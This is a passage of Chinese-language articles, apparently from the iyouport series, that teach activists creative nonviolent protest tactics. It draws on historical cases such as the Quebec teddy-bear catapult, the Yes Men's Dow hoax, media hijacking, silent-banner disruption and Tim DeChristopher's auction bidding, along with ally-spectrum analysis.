这是异议和反对派活动家根本性的区别。如果活动家陷入了后者，不仅会失败，而且会失去这一身份的意义。

任何时候不要高估人们对你的观点和理论的兴趣。

曾经与几位中国南方农村地区的小企业主交流。他们给我们分析："乱了怎么办，没乱怎么办"。

喜忧参半。一方面看起来人们知道有可能"乱"- 出现社会反抗或动荡，另一方面，也没有准备加入抗议，而是在努力想着如何保住自己的小日子。

如果你是一位致力于劝导人们加入你的活动家，在这种情况下没准已经火冒三丈了。"什么叫乱？乱是变革的契机！难道你不想改变糟糕的现状吗？"……一肚子话对不对？

我们什么也没说。相反，我们拿出了一些北欧社会有趣的照片，关于抗议行动策划者主持的别具一格的街头派对。我们讲了一些好玩的故事。

没人会把一场欢快的派对称之为"乱"。

一张图片可能胜过千言万语。

在今天的形象驱动的新闻周期和大众媒体文化中，这句话比以往任何时候都更加真实。

有效的创作活动也必须以形象为导向。换句话说，展示，而不是告知。并且有很多方法可以做到这一点。

以故事为主导，而不是事实。

这句话我们在本系列中有多次提到。因为它在策略方面很重要。

事实很少能说明一切。⚠虽然你的信息的事实准确性是绝对绝对必不可少的，但是，事实应该只是故事的支持细节，而不是使故事引人注目的钩子。

如果你想传达失业的破坏性，不要带着一大堆统计数据。相反，讲述一个关于一个人的引人入胜的故事。然后指出：那里有成千上万个像她一样的人。

让它视觉化。

很多重要的东西很难用文字说清楚 —— 它们太宏大了、太遥远了、太抽象、或者太复杂。如果你的听众祖上三代都没有经历过民主自由的失去，你大声讲述民主自由的利好，在听者看来就像是在讲述遥远的天际有一只三条腿的公鸡。

很多问题都是如此。作为理论的卓越者，你很可能一眼就能看到深刻的根源，但是，你肯定很难让你的听众与你感同身受。

💡要想做到后者，就需要首先用你的听众的理解方式去理解你自己的样子。

道具、视觉效果、和具体与针对性的语言策略，都可以帮助将宏大的事物降低到*人的尺度*。

举一个美国的例子，以最经典的经济不平等为例。

你可以很容易就迷失在税法的细节里，但是，当亿万富翁沃伦巴菲特说他的秘书支付的税金超过他时，这明显是错误的，无可辩驳的。

为了引起人们对首席执行官和工人薪酬之间日益扩大的差异的关注，一个活动家小组展示了华盛顿纪念碑的一个小型复制品，缩小了419倍 —— 他们此前在真实的纪念碑前举行的新闻发布会。

每个人都知道这是什么意思。你不需要多说任何一句话。

使用强大的隐喻。

通过隐喻，你可以充分展示它的内容，而不必解释它。

要找到令人信服的比喻，请寻找体现您想要传达的内容的东西。

比如，美国的关于移民的辩论就采用了候鸟的比喻 —— “迁徙的鸟类是否也需要护照？” —— 效果非常好，充分地指出了情况的荒谬性，请注意，活动家们甚至没有关注任何具体的政策或立法。

用行动来说话，而不是告知。

做出你想要说的东西。

在抗议活动中，每当有警察保护银行时，就会自然形成一个反映现实情况的比喻：国家为我们其他人保护富人。

有时景观和画面可以自然地呈现这一点 —— 或者，有时候，💡你可以把它人为地策划出来。

精心设计的动作自己就可以可以解释自己。

理想的情况下可以提供多种方式来解决问题。⚠请注意一个关键：是你希望你的观众得出自己的结论，而不是你觉得他们有必要被告知思考什么。

说教很难产生说服力。

无论我们是在讲故事、想象一个场景、提供一个比喻、以身作则、还是让我们的行动自己说话，有数以百万计的方式可以传达我们的信息和价值观，而不会引发政治诽谤。

下面讲一个精彩的故事。

这是反全球化运动高峰期的典型峰会抗议活动。

来自美洲各地的34位国家元首正聚集在魁北克市，对美洲自由贸易区（FTAA）进行谈判，这是一项涉及深刻反民主条款的全面贸易协议。

抗议活动已被召集，预计将有数万人涌入街道 —— 于是，⚠在旧城

周围建立了由数千名防暴警察捍卫的巨大围栏，以迫使抗议者远离会议中心。

随着峰会越来越紧密，如何最有效地反对 FTAA 的辩论进入激烈状态，一个自称为“解构主义超现实拓扑研究所（DIST）”的活动家团体散发了一本宣传更具创造性的抗议策略的小册子：

“对于那些每次看到另一个 *Black Bloc* 时就开始打哈欠的人，解构主义超现实拓扑研究所提出了这个简要的备选方案清单，给他们注入一点创造力和嘲弄的笑声。”

黑群（Black Bloc）是一种抗议游行活动中常见的战术，其特征是每个人都穿着黑色服装，使用围巾、墨镜、滑雪面罩、带衬料的摩托车头盔或其他隐藏和保护面部的物品。简单说就是，一眼看上去就是来抗议的。

就是下面这样：

DIST 的想法是打破这种沉闷的标签。

他们提出了几个建议：1、Gary Coleman Bloc（Gary 是著名谐星）：就是让人们不断地朝着警察走过去，一边喊：“威尔斯你在说什么？”也就是模仿 Gary；2、Mascot Bloc：让抗议者穿着紧身衣和粉色的芭蕾舞裙，跟随那些 Black Bloc 并无情地取笑他们。

DIST 还开玩笑地提议用 Monty-Pythonesque（英国著名的戏剧团体）风格的 Mascot Bloc 挑战会议区周围的围栏：

“如果这个家伙要把山顶变成一个堡垒，那么 *Mascot Bloc* 很有兴趣地围攻它。”

一位支持他们的公众人物联系到了该组织，对他们说，“如果你能找到一个人来制造弹射器，我来付钱。”

消息一推出，渥太华的一群弹射爱好者马上就活跃起来了。这种装置平时是被禁止的，因为它可以用作武器，而 **DIST** 将其走私进入该城市。

游行当天，活动家们把全尺寸的弹射器拉到了围栏旁，开始朝着防爆警察的队伍弹射 —— 泰迪熊布偶。

你没看错，并不是任何武器，而是玩具熊。他们收集到大批的玩具

熊。

与此同时，其他活动人士用螺栓切割机拆除了有问题的围栏。

特技表演完成后，活动人士禁用了道具，并将其丢给了挥舞着催泪瓦斯前进的警察部队。

每个人都认为这就结束了，但是，警察们可不甘心自己在这种荒谬的前线上被包围：他们通过派遣便衣警察抓捕了一名与弹射器毫无关系的杰出活动家 Jaggi Singh 以进行报复，并指控他拥有一种“危险武器”：Jaggi Singh 被关押了17天。

真正策划和做这件事的活动家们一个都没被抓到。

🌝很显然，警方输了。虚假的所谓武器指控只会加剧 DIST 的火力，他们趁机掀起了新一轮的新闻发布会和媒体特技，以嘲弄这些维稳机构。

活动人士将他们的“填充物同志” ——即 泰迪熊 ——交给了全国各地的当地警察局，还将熊送到了加拿大总理办公室，以抗议荒谬的指控。

非常精彩。

🌝弹射器的道具不仅仅是一场好的戏剧，而且，它是切实有效的行动主义。

它不仅在物理层面上、而且在象征意义上攻击了使民间社会远离贸易协定谈判的那个围栏，这种谈判会影响到每个人。

最后，抗议活动取得了最终成功：那场会议是加拿大政府的公关噩梦，公众对抗议者表示同情，半球范围内的贸易协议从未签署过。

🌝空降泰迪熊表面上的目标是防暴警察及其背后的政客，但是其真正的目标不在于围栏。

首先，这一行动以一种媒体奇观的方式准确吸引了公众的想象，暴露了政客的荒谬，这些政客被公民提出的合理问题“围困”。

其次，这一行动让其他积极人士得到了两个重要的信息：第一，不要害怕面对国家权力；第二，当你这样做时，不要失去幽默感、不要忽视你行动的更广泛的道具。

关键原则 ——

1、用道具说话：不论是超大的股票碎纸机还是泰迪熊弹射器，精心挑选的瞩目级道具都可以帮助你创造一个媒体奇观、并讲述一个深入人心的故事。

通过选择一个荒诞的攻城引擎，DIST 巧妙地暴露了更大局势的荒谬性：政客在做出非常不受欢迎的决定时被迫被选民“围攻”。

2、使用荒谬来破坏权威的光环：要运作，权力就需要权威的光环。

穿着制服或西装的男人掌控着一切。他是清醒的、认真的、也许最重要的是，被需要的。

🌤没有什么能比笑声这样的东西更容易破坏这种光环的了（以及随之而来的国家暴力的理由），特别是在权势不知道该如何处理的荒谬情境中。

如果权势按照他们的正常逻辑做出反应，他们就会看起来非常荒谬和/或偏执 —— 就如加拿大警方没收泰迪熊作为“危险武器”。

3、使用手头的材料：泰迪熊行动取得了成功，正因为所涉及的人对所出现的意外机会作出了明智的和创造性的回应：第一，为回应荒谬的建议提供了严肃的资金，第二，警察的过度反应进一步强调了这种情况的荒谬性。

4、展示，而不是告知：加拿大维稳部门希望通过激起对暴力抗议的恐惧以证明其前所未有的动员。但是，还有什么东西能比玩具熊更加非暴力？

通过建立一个真正的战争引擎、并选择轻轻地弹射泰迪熊，DIST 找到了一种有趣的和意想不到的方式来展示他们对非暴力的承诺，并将政府捏造的恐惧视为毫无根据。

还是那句话，反抗可以很好玩，可以充满乐趣；它既不是“乱”而不是危机，正相反，它能带来希望。

原文

（27）真正的行动取决于你的目标的反应：战略柔术 - iyouport

行动技巧、战术和原理

（2019年9月20日存档）“真正的行动在于敌人的反应。” —— Saul Alinsky

我们在中国最经常看到的是诉苦、维权和找律师（因为行动者被捕），而不是借势将行动推进。似乎哪里出了问题。

当然，人们会说“你能不关心受难者？” 当然不是。但关心受难者最好的方式是迅速接力以达成他们的目标，而不是痛哭流涕。

不得不说中国学生协助的劳工维权行动是非常成功的，他们直接点中了执政党的要害。但是，非常可惜，在执政党做出了最愚蠢的反应时 —— 也就是已经快要赢了的时候，其他活动家陷入了沉默。没有任何人跟进追打。

他们错失了一个大好机会。

如果您认为被捕是结束，那就真的错了。在反抗运动的世界里，死亡都不是结束。

🌤在面对一个众所周知的大目标时，通常目标对你的行动的反应是你成功的关键。因此，你要做的是，预测目标的反应并将其写入你的脚本。

简曰：是你在玩他们，而不是让他们玩你。

在1930年的 Salt March “食盐进军”期间，印度的独立活动家们就是一直在走路 —— 长途跋涉，没有武装，沿途未受阻碍，直到陷入英国警察的野蛮打击之中。

约2500个和平抗议者被当局攻击。直到1930年年底，约有6万人被捕入狱。

结束了吗？并没有。

重要的是，效应是鲜明的 —— 积极人士们确保了这一点 —— 记录了殖民政府如何以可预见的卑鄙耍流氓。

印度国家先团结起来了。随后是世界舆论的凝结。

组织者 Saul Alinsky 后来创造了“政治柔术”一词语来描述这样的抗议行动。

⚠柔术的特色是重视地板扭斗，以杠杆原理控制对手的关节，来制服对手。即使是身材矮小的人，也可以透过这些技巧来打败对手。

柔术练习者擅长将对手拖向地面，然后在地面上获得控制的姿势。

柔术的技巧主要是位置控制以及各种降服技巧。

💡像食盐进军这样的对抗使得资源不足的激进组织能够通过激发目标权势的反应来利用其强大的对手将其转变为自己的动力，然后在镜头前看着他们不论在字面意义上还是在隐喻层面上都被击得粉碎。

⚠在应用这一原则时，重要的是要明白，你不能仅仅希望目标以一种突出不公正的方式作出反应。

在可能的情况下，你需要事先计划目标的反应，鼓励他们的反应，并将其拖入你自己的行动。

如果第一次不起作用，那么就调整计划，再来一次。

💡确保从你的对手那里获得战略性有用反应的一个好方法就是：强迫他们进入“决策困境” —— 在这看到具体解释《策略1.1 为你的对手制造决策困境》—— 所有可用的选项都可以发挥作用。

冒充陶氏化学发言人的 “Yes Men” 在英国广播公司电视台宣布：陶氏正在为博帕尔灾难道歉并拨出120亿美元赔偿受害者。这是一场经典的大戏，最终，道指股价暴跌，陶氏被迫做出反应。

陶氏不得不发表一份声明，表示他们并没有为博帕尔灾难道歉，也不会赔偿受害者。一个巨大的打脸爆笑。

你的对手的反应 —— 这就是最好的胜利。在这里，高明的行动策划再一次让目标变得无比失败。

📢正如陶氏化学的案例所说明的那样，有些时候你根本不需要进行直接的身体对抗，就可以制造绝佳的大戏。

2000年，布什竞选团起诉反对派活动家 Zack Exley，并试图关闭了他的恶作剧网站 GWBush.com（Exley 在竞选活动开始之前设法购买了这个域名）。

显然这件事特别有吸睛度。媒体纷纷报道了这个故事，以及每一次新出现的法律攻击 ——布什曾一度说过“应该限制自由”，高端打脸。

一个令人遗憾的提醒是，即使是最聪明的一次性战术，也不是一次成功的战役。

流行的看法是“压制和镇压是失败和挫折”，不，恰恰相反，当权势威胁到你时，你应该庆祝；这意味着他们做出了反应。这一反应越是激烈、愚蠢和疯狂，你的胜算就越大。

这意味着你占据了上风。

抓住你的对手最激烈和最愚蠢的对白，将它们编织成新闻稿，以全力宣传它们 —— 这样你就把你的对手投入到你的游戏中了。

回看下，中国的抗议行动者错过了多少机会？

这就是柔术的逻辑。你借用了他们的一些力量，就如同抓住了他们的小辫子，顺势努力抽打他们的脸，让他们动弹不得。

当歌利亚摔了个狗啃泥时，每个人都会跑来看热闹的。〇

原文

（28）不手淫，要做爱：受众才是见证人 - iyouport

行动技巧、战术和原理

（2019年9月20日存档）如果你的横幅落在深山老林里，它还能有什么作为呢？

一些活动人士变得越来越封闭，这可不是好事；人们各自在“自己的领域”里奔忙，在团队中彼此照应，这都很好，但是，缺失了一个重要的东西 —— 一种能让你有所作为的效应。

要知道，在评估特定行动的成功与否时，您对您的创意海报、或新闻稿、或公民不服从的看法，并不重要。

重要的是观众的想法。

抗议只是为了自我表达和自我满足吗？这是手淫的政治等同物。经过精心设计和执行以引起目标受众的充分反应或回应的政治行为 —— 那才叫做爱。

如果你已经想出了一些非常棒的，即时的行动，现在正试图找出你想要用它来达到的目标，那么你就是在倒退。

🌤创造性政治行动的关键不仅仅是创造性，而是要对特定受众产生预期的影响。

首先确定您的目标受众，然后集中讨论行动以有效传达您的信息。

贾斯汀比伯怎么样？效果肯定很棒，唯一的条件在于，你的预期受众是美国退休人员协会的成员。

Andy Warhol 也许会令你和很多人陶醉，如果你的预期受众是中国年轻人，那他真的不如二次元。

⚠请记住，没有最合适的受众群体，只有适合您特定目标的受众群

体。

💡请尝试这个基本公式：如果他们相信C，我们可以让A做B，A是你的受众，B是你的目标，C是你的信息。设计一个或多个行动，让A相信C。

如果您的核心策略和行动没有明确的和战略性地设计，以便对目标受众产生预期的影响，那么您就不具备战略性。

贾斯汀比伯可能很惊人，并且 YouTube 上的点击量是天文数字，但它能否触动你的目标受众呢？这才是你唯一需要考虑的问题。

传统艺术家不一定会担心他们的观众体验。对他们来说，创造性的自我表达可能就足够了。

但是，⚠对于政治艺术家来说，观众就是一切。

政治艺术的目的就是体验它的人的反应。

互联网新媒体时代、尤其是算法操纵的回音壁时代，也许你会认为“定位受众”可以轻而易举？但并非如此。

如果人们上网的90%动机是娱乐（的确是，而且实际上很可能高于90%），那么你的任何严肃行动都将被娱乐化，从而过目即忘。更多参见这里《在社交媒体上”抗议”有什么问题？》

简单说，利用社交媒体时，你不一定就真的能*抵达*你的受众。甚至你都不知道真正的受众在哪。

但是，如果媒体“是你的”呢？会不会不一样……

这就是媒体劫持。

媒体劫持是指为了自己的目的而颠覆对手的奇观。

政治家、巨头企业和游说者拥有更大的公共关系预算和品牌吸引力，可以吸引并控制媒体参与其分阶段的宣传活动。

💡然而，通过精心策划的创意干预，作为反对派，您也可以重新聚焦事物并突出故事的另一面。

有几种不同的方法来设计成功的媒体劫持。

首先是最简单地征服媒体。

1991年第一次海湾战争期间，其中一个最直接和大胆的例子发生在抗艾滋病组织 ACT UP 在黄金时段的新闻直播期间，抗议者突然进入了CBS电视工作室，并接管了该节目，只有几秒钟的时间，他对着镜头高呼："打击艾滋病，而不是阿拉伯人"！

这是一个伟大的经典镜头。想想看，您所在的国家有哪些收视率非常高的大型直播节目吗……

如果你觉得这太难了，"戒备森严的地方即便有内应也难以成功"……不，别把它想得这么复杂，事实上有很多机会可以实现媒体劫持。

另一个选择是，使用你的对手的平台来讲述你自己的故事。

2007年，Kleenex 搞了一个昂贵的公关特技，他们在街上采访人们为了他们正在制作的商业广告，让参与者哭着说："我需要面巾纸。"

绿色和平组织的积极人士得知这个消息后就去悄悄地排队，以接受采访，但是不哭，以严肃的表情反对伐木造纸。

他们在当天剩下的时间里成功地关闭了那场拍摄，并且有关该行动的视频变成了病毒式传播的效果。

🌛具有创造力的媒体劫持是使用你的对手自己的故事来攻击他们，在假设的角度破坏它们，详见《别把注意力集中在抵抗上：预设性干预战术》。

我们讲述过这样的成功案例：共和党作秀被活动家劫持的特技，在这里看到《为你的对手制造决策困境》。活动家的表演成功地将 "税收＝压迫"这一信息深入人心了。

同样，在2006年，热带雨林行动网络的积极人士制作了假的新闻通行证，穿上西装，潜入了洛杉矶车展。

当时，通用汽车（General Motors）首席执行官里克•瓦格纳（Rick Wagoner）正在就通用的"环保"汽车如何了不起发表主题演讲。

演讲全是废话，但无所谓，关键在于，RAN 的活动家们大模大样地走上了舞台，接过了麦克风，假装自己是主持人。

他们向瓦格纳表示祝贺，然后告诉观众，他们很高兴地宣布，通用汽

车准备以书面形式落实承诺，并展开了他们要求他签署的超大“承诺”。

瓦格纳只有两种选择：1）签名，给活动家想要得到东西，或者 2）拒绝，证明他自己只是个骗子。

他选择了第二种。一众媒体都疯了。超过700家媒体刊登了有关通用汽车公开撒谎的报道。

关键原则 ——

媒体报道为活动家提供了一个独特的机会，不仅可以让对手参与活动家的比赛，而且可以实际发号施令并重新讨论。

通过将目标放在媒体面前的现场，活动家可以快速聚焦受众眼球，重塑公众如何看待“好人”和“坏人”，并将他们的对手的故事扔上头条丑闻。

🌤当你在盛大的戏剧表演中推倒一棵树时，要确保正确的人看到了它，并且他们会听到一声巨响。

注意事项 ——

媒体是一个极其不平衡的竞争领域。准确而富有同情心的媒体报道通常基于活动家与记者保持的良好关系。因此请注意，要让您的行为不会疏远您依仗媒体专业人士。

原文

（29）别让媒体为你的对手工作：创造性破坏 - iyouport

行动技巧、战术和原理

（2019年9月27日存档）鱼虫子看起来很恶心，但是如果你想要的是美味的鱼，那么鱼虫就是必要的

> *“不要只是讨厌媒体，去成为媒体。”—— Jello Biafra*

憎恶也许可以让你简单地拒绝/排斥一种东西，从而放弃了其最重要的可利用性。

鱼虫子看起来很恶心，但是如果你想要的是美味的鱼，那么鱼虫就是必要的。

媒体要的是赚钱，吸睛度和流量经济，他们的确不需要关心社会运动的成败和政治的未来；你也许对这种物质主义私心很反感，但要记得，🌤如果你是活动家，媒体才能做到帮助你快速放大你的行动所期待的效应。

你的对手很擅长这点，这就是为什么媒体围着他们转，他们拥有的庞大权力和资产上每一寸角落都贴着“吸睛度”的金色标签。

活动家没有这样的标签，但是可以制造出类似的效果。

正确的创造性行动可以为媒体提供所需的借口或材料，将他们的目光吸引到你身上。

想想看，如果一个著名的专制政客或寡头公司的独裁者来到你所在的城市，挑战其罪行的最佳方式是什么？

⚠是挑战而不是申诉，不是拦截汽车或者跪地恳求，而是反抗。

通常情况下，不端行为的规模和权力的不平衡是如此之大，以至于活

动家通常直接放弃对话并进入中断、阻拦或暴力扰乱的行动。

中断可能是一种有效的策略，并且已被小团体成功使用，是爆发性的，通常很少提前通知或提前规划。

但是，问题在于，你的目标不仅控制着麦克风、舞台和场地，更重要的是，作为受邀嘉宾或官方演讲者，他/她还拥有很大一部分观众的同情心。

这种情况下，活动家如果喊口号或直接行动以破坏现场，有可能适得其反。

目标可以将自己描绘成被“反自由言论”骚扰的受害者，从而获得公众的同情和更大的平台。

⚠作为活动家，你面临的挑战是在不能将倒打一耙的机会交给目标手上的情况下中断事件。

💡有时，一种偏锋策略可以重新构建目标的言论或强制他们对你的问题作出回应，而不会直接阻止任何人发言，这可以比仅仅呐喊更有效。

众议院议长南希佩洛西于 2006 年在伊拉克和阿富汗战争高峰期间在旧金山举行罕见的市政厅会议，CODEPINK 的示威者出现了—— 他们对佩洛西对战争的支持感到愤怒，他们使用“停止资助战争”的横幅围绕着演讲台挂了一圈，然后就静静地站在那里，参加剩余的会议。

标志或横幅的创造性使用可以帮助您避免“这是对言论自由的攻击”的倒打一耙。

实际上，您正在添加额外的“语音层”；你正在进行更多言论自由，而不是更少。

歌曲也可以这种方式使用。

例如，2011 年在布鲁克林举行的止赎拍卖会上，抗议者闯入并播放歌曲；就如四面楚歌的效应，它创造了在场者的心理反应。

💡创造性破坏不一定是被动的。

当反LGBT的著名保守派政客纽特金里奇来到明尼苏达州家庭委员会做签售活动时，一位LGBT活动家尽职尽责地排队等候签售，轮到他

时，他迅速将彩虹闪光粉扔到金里奇身上，并大喊：“感受彩虹的魅力，纽特！停止仇恨、停止反同性恋政策！”

由于是著名政客的签售活动，现场挤着一大堆著名媒体，所有摄像机都从不同角度拍下了这一场面。

视频迅速成为了病毒式传播的热门话题，这是为了抢占吸睛度的媒体自愿为活动家完成的效应放大，并且，这一干扰行动引起了国际媒体的关注，引发了一波更加强大的 **LGBT** 社会运动。

“glitter-bombing”的策略甚至成为了热门电视剧的主题。

🌝现场剧目是另一种创造性破坏的方式。

当 Jeane Kirkpatrick（里根时期的联合国大使）在1980年代来到加州大学伯克利分校时，活动家们举行了一场模拟行刑队绑架的现场剧活动。

学生扮演的“士兵”沿着会场的主要通道奔跑同时用西班牙语咆哮着，并拖走了一些挤在观众群里的学生，到处都是挣扎声和尖叫声。现场的人都惊呆了。

就在这几秒钟内，其他协作者立即从阳台上向人群散布传单，传单上详细说明了美国如何支持萨尔瓦多政府行刑队的真相。

正如这些例子所展示的，🌝聪明地定制对特定目标和情况的干扰至关重要。

还是那句话，不要高估人们对你的理论的兴趣。演讲并非总是那么好用的。

通常，如果你能走出传统的演讲台、并考虑其他形式，如视觉效果、歌曲、戏剧和幽默，你可以得到更高的效应。

很多人经常会有一种错觉，认为“经历/展示艰难困苦就能获得更大的受众关注甚至帮助”。很可惜，事实上完全不是如此。

并不是说大众缺乏同理心。这就像看脸的逻辑，你的心地是善良的，但也需要一个能让他人注意到你的心地的“媒介”，通常意义下就是脸。⚠在行动策划的角度上它就是：想要人们停下来深刻思考你提出的问题，你必须首先抢到受众的注意力。

如果你想要借助媒体的努力放大你的活动，就必须给他们一个他们无法拒绝的故事：一个能让你的观点非常清晰、有很好的视觉效果、意想不到的情节冲突、或包含很多幽默感的故事。

简单说，做一场好戏。

如果你能成功吸引住媒体的眼球，就无需考虑是否在短短的几秒钟内成分发挥了“演技”，因为新闻稿肯定会帮你补充上全部。

通常情况下的确只有不到一分钟的发挥时间，在你被打断之前，成分利用这一短暂的时刻，让它格外瞩目。

💡关键在于，你需要在非黑即白的情境下打开一条路，指出明显的但很少被讨论的真相，以提供别具吸引力的钩子或入口点。

⚠请记住，在互联网时代，每个人都可以是媒体；也同时是受众。

记得我们曾经介绍过的例子？当 Yes Men 宣布通用电气公司收回其32亿美元的税收抵免时，这些是非常有趣的行动，指向简单的、无可否认的事实：商会对于立法感到愤怒，陶氏应该清理 Bhopal，通用电气应该缴纳税款。

许多记者并非不想写下这些明显的事实，但出于编辑的原因，即便写了也不可能出版。在这种情况下活动家通过创造一个有趣的、壮观的行动，就很有希望打开编辑的阻隔。

因为他们无法拒绝“热点”。这是媒体的死穴。

你需要让媒体的工作尽可能简单，别留一堆问题给他们，他们也许没什么耐心。

为他们提供他们所需要的东西：简洁的新闻稿、具有明确权限的照片或良好的视频新闻发布，其中需要充满了说明您的观点的事实、数据和声音。

⚠尤其是，如果您所在的地区的媒体完全被党派和政客控制时，上述非常重要；您也许希望选取有国际媒体出现的场合（他们往往只会围绕权势的露面场合打转），但如果您无法接近他们所在的场地的话，请选择一个公众最密集出现的场合，每一个拥有智能手机的人都是你的私家“媒体”。

所以，非常有必要充分准备，为你的媒体提供完整的呈现方案，让他

们只需要复制粘贴就可以以最佳方式传达您的意图。

💡您的行动需要有合作者，即 必须自己记录整个行动，并保留您认为可用和满意照片和镜头。

在纽特金里奇的案例中，如果没有合作者迅速录制最佳角度的现场影像，那么创造性破坏计划也许很难如此快速地成为病毒式传播的影响力。

因为你的行动是突发事件，媒体事先不知情，于是他们也许不容易捕捉到最棒的一幕，所以你应该帮他们做到。

当活动家 Brad Newsham 组织人形横幅时（用人体拼出标语的字样），他雇用了一架直升飞机和专业摄影师飞过头顶，然后将这些照片传递给那些无法自己拍摄的媒体。

💡除了快闪族或游击队音乐剧的组织者之外，没有人知道行动将要发生的时间和地点—— 这是避免提前维稳的关键，所以你必须将摄影师和录像师整合到这些行动中。

但是，⚠之后不要仅仅在 Flickr 和 YouTube 上发布您的内容，这样有可能难以达到最佳效果，也许只会被算法埋没掉；相反，你需要有一个计划，尽可能将这些视觉效果传递给媒体。

关键原则：

精心设计的创造性破坏行动应该让您的目标没有好的选择—— 参见《为你的对手制造决策困境》。

回忆上述沉默横幅的案例：如果南希佩洛西承认事实或与抗议者对话，那她只会提高抗议者的信誉并引导大众进一步关注抗议信息；如果她离开现场，那将被视为投降；她所说的每一个字都会被她周围的无声抗议标志重新定义。

💡精心设计的创造性破坏可以让您实现双赢—— 以及对手的双输。

潜在注意事项：

一些记者可能不愿意直接使用具有强烈编辑倾向的镜头，但这些材料仍然可能促使他们自己去挖掘。〇

原文

（30）以聪明的方式被捕：投标人和盟友的光谱 - iyouport

行动技巧、战术和原理

（2019年9月27日存档）“最后，让我们记住的不是敌人的话，而是盟友的沉默。”

> “最后，让我们记住的不是敌人的话，而是盟友的沉默。”—— 马丁路德金

在此前的文章中我们强调过：在反抗运动的世界里，被捕并不是结束，完全可以是一个更大规模的崭新的开始。

🌤一场聪明的被捕可以让你成就反抗史上最出色的行动，并激发活动家们更多的创造力。

2008年12月，土地管理局（BLM）拍卖在犹他州国家公园附近的石油和天然气非法开采权。这次拍卖是当时的总统布什送给他在工业界的好朋友的礼物。

学生活动家 Tim DeChristopher 出发准备干扰这次活动。但是，当他走过大门口时，一名服务员问他是否是来竞标的，他感觉很惊讶。

“是的，是的，我是“，他回答到。然后服务员给了他一个竞标的牌子。

用 Tim 的话说就是：

“一旦我在那里，我意识到任何形式的言论或破坏行动都不会非常有效。

但我很快就看到了如何才能对这场活动产生重大影响。

我花了一点时间来建立勇气，我知道后果会是什么—然后我开始参加竞标，并努力抬高价格。

但我知道我可以做得更多。所以，我开始赢得竞标，并尽可能清楚地破坏它。”

Tim 连续赢了十几个—— 直到拍卖师意识到出了问题，暂停了程序，Tim 被捕。

在奥巴马就职后，他的政府对“违规行为”的拍卖进行了调查，联邦法官取消了销售。

Tim 的行动—— 单枪匹马地拯救了许多珍贵的犹他州荒地免受破坏—— 是近年来美国历史上最具启发性和最成功的公民不服从行为之一。

在他的量刑听证会上，Tim 向主审法官发表讲话，解释他的行为。

他以下面这段话结束发言：

我希望你*[*法官*]*和我一起支持公民挑战政府的权利和责任。

我希望你和我一起重视这个国家丰富的非暴力公民不服从历史。

如果你认可这些价值，但是认为我的策略是错误的，你有权判罚我；

你可以判我广泛的社区服务工作，这将以不同的方式实践使我对健康和公正的世界的承诺。

你也可以让我与那些陷入困境的青少年一起工作，就如我在职业生涯的大部分时间都在做的那样...

如果你同意，你可以引导这一承诺，但你无法扼杀它。这不会消失。

在难以想象的威胁的笼罩下，这就是希望的样子；在道德败坏的政府已经卖光其原则的时代，这就是爱国主义的样子；无数生命在线，这就是爱的样子，它只会成长壮大。

你今天做出的选择是你站在哪一边。

关键战术：创造性破坏

Tim 成功地干预了整个程序。他找到了一种有效的方法来确保拍卖无法进行（基本上是当场发明了一种新的创造性破坏），然后毫不妥协地为这一行动辩护。

关键原理：以聪明的方式被捕

针对 Tim 的案件恰恰为他提供了一个非常大的宣传平台，以呼吁进一步的公民不服从行动。

💡**Tim** 和他的盟友非常及时且聪明地利用他案件的每一步来攻击允许气候变化发生的资本主义政治制度和经济利益。

他向法庭作出的有力的最终陈述、以及他随后服刑的监狱时间，都是非常清楚的例子。

即使有机会，Tim 也没有直接站起来发表演讲讨论那些石油寡头，在权势面前反对的理论基本无效，他很明白这种破坏方式是徒劳的。

相反，他选择做一些看似合规的事情，但最终会造成极大的破坏性：他直接玩弄了竞标过程，直到很明显他无意支付他赢得的所有租约。

💡然后，他把注意力转向另一个更加分散的受众面上：受到他的榜样启发的活动家们，以及那些因同情而更可能转向支持公民抗议行动的公众。

记住 **Tim** 这句话：**“I do not want mercy, I want you to join me**（我不想要怜悯，我想要你加入）**”**

⚠这并不是说鼓励人们被捕，肯定不是：如果你判断自己不能利用被捕成就更大的事业，那么你就需要努力保护自己和队友。

显然，如果没有足够的盟友跟进行动，Tim 的策略效应就会大打折扣。

⚠在中国，很多情况下被捕“意味着结束”的原因正是因为缺乏充分的行动策略和盟友跟进。

想想马丁路德金那句话。

⚠一场运动很难通过直接压倒你的对手阵营而获胜—— 因为反抗者永远都是少数甚至极少数，从基数上注定势单力薄。

但是，要知道，你可以通过从下层转移支持而获胜。

💡使用一系列盟友分析来识别受你的问题影响的社会群体（学生、工人），并找到这些群体，这样你就可以集中精力改变这些群体，以令

其更加接近你的立场。

识别更加特定的利益相关者（例如，不仅仅是学生、而且是公立大学的学生；不仅仅是工人，而且是特定领域的工人阶层）💡可以帮助您确定将不同社会群体拉近您的立场的最有效方式，以赢得您的行动目标。

在制定行动时，将社会视为特定社区、集团或网络的集合，是有用的，其中一些是机构（工会、教堂、学校），其他一些不太明显或有不太有凝聚力，如亚文化热衷者或人口统计分组。

只要你可以越精确地识别利益相关者和受影响的社区，你就能越好地准备说服这些团体或个人更接近你的立场。然后，你可以权衡关注不同联盟的相对成本和收益。

⚠评估你的盟友范围可以帮助你避免一些常见的陷阱。

例如，一些激进组织只关注他们的最活跃盟友，这些盟友冒着“向大众讲道”的风险—— 建立其他人难以理解的边缘亚文化。这样也许有效，但是很明显，你忽略了你真正需要说服的人。

其结果只能是越来越不被理解，在不被理解中加速边缘化，从而失去声音的影响力。

更常见的是，活动家表现得就好像每个不同意自己立场的人都是一个积极的对手，扮演着“正义少数人的角色”，就好像整个世界都在反对他们一样。

自己把自己孤立起来了。这就是很多中国的活动家正在做的事。

然而，也有人采取的是“说实话”的方法，通过道德诉求或逻辑论证的力量，他们或许可以以某种方式赢得他们最根深蒂固的积极对手。

但是，其前提是真的有足够多的人愿意且有耐心去倾听。事实上你完全无法确保这点，大众最擅长的是“排异“。

⚠很显然，上述这三种方法实际上都能保证失败。

因为它们用错了原理。

💡原理并不是通过压倒你的积极反对者来赢得运动和竞选活动，而是，通过将每个群体转移到你自己的频谱范围内—— 从被动盟友变

为主动盟友、从中立变为被动盟友、从被动对手变为中立者—— 从而增加人们的力量、有利于支持变革和削弱那些反对你的意见。

最经典的例子，在1964年美国，学生非暴力协调委员会（SNCC）是反种族隔离的南方非裔美国民权运动的主要推动者，他们意识到，为了赢得非裔美国人的平等人权和投票权，他们需要与富有同情心的北方白人建立积极的盟友。

北方有许多学生具有同情心，但是没有进入该运动的切入点。

⚠他们需要的不是接受教育或说服，他们需要被邀请加入斗争。

或者说，在盟友模式中，他们需要从被动盟友转变为活跃的盟友。

